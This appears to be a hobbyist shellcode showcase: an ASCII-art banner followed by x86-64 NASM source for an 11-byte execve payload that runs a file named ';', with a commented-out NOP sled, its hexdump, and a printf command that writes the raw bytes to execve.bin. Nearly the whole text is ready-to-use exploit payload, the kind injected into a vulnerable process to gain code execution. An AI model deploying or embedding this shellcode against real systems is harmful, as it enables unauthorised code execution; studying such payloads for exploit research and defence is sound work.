48 41 .-. .-. _.___. .-. .-' .-. .-. /^ .-. .-' ( | | ( | ( \ / ( | | / | ( \ / |---| |--' /^\ ___, , , |---| /__|__, /^\ _| |_, _|___, _/ \_, ( |_) \_/ _| |_, _| _/ \_, ( ( ( |__) / ( ( ( 43 ( ( 4b o--)(=======- CONSTANT DESIRE TO EXPLORE -=======|-*[___] \@/ o. @ .o )ooo@ooo( o' @ @ `o @...@ .o'@'''''@'o. .o'' @ @ ``o. .o' .o' @ @ `o. `o. .o .o @@@@@@@@@ o. o. o' o' 0)-------------(0 `o `o .: .: @@@@@@^@@@@@@ :. :. :: :: / \ :: :: `: `: .@ @. :' :' o. o. .@' '@. o o `o `o .@'@ @'@. o' o' `o `o. .@' `@' '@. .o' o' ` `o.@' ' '@.' ' .@'o........o^'@. .@' '''' '@. @:@:@:@:@:@:@:@:@:@ |=--------------------[ x86-64 intel assembly (nasm) ]------------------------=| BITS 64 DEFAULT REL ;; NOP SLED ;times 0x800 nop ; 59 execve (<rdi> const char *filename, ; <rsi> const char *const argv[], ; <rdx> const char *const envp[]) xor esi, esi ; [arg2] argv = NULL mul esi ; [arg3] envp = NULL (EDX:EAX = EAX*ESI -> RAX=RDX=RSI=0) mov al, 59 ; [syscall] execve(2) and ASCII char ';' push rax push rsp pop rdi ; [arg1] filename = & STACK = & ";" syscall |=--------------------------------[ Hexdump ]---------------------------------=| 00000000: 31f6 f7e6 b03b 5054 5f0f 05 1....;PT_.. |=-------------------------------[ Hex string ]-------------------------------=| printf '1\xf6\xf7\xe6\xb0;PT_\x0f\x05' > ./execve.bin |=----------------------------------------------------------------------------=|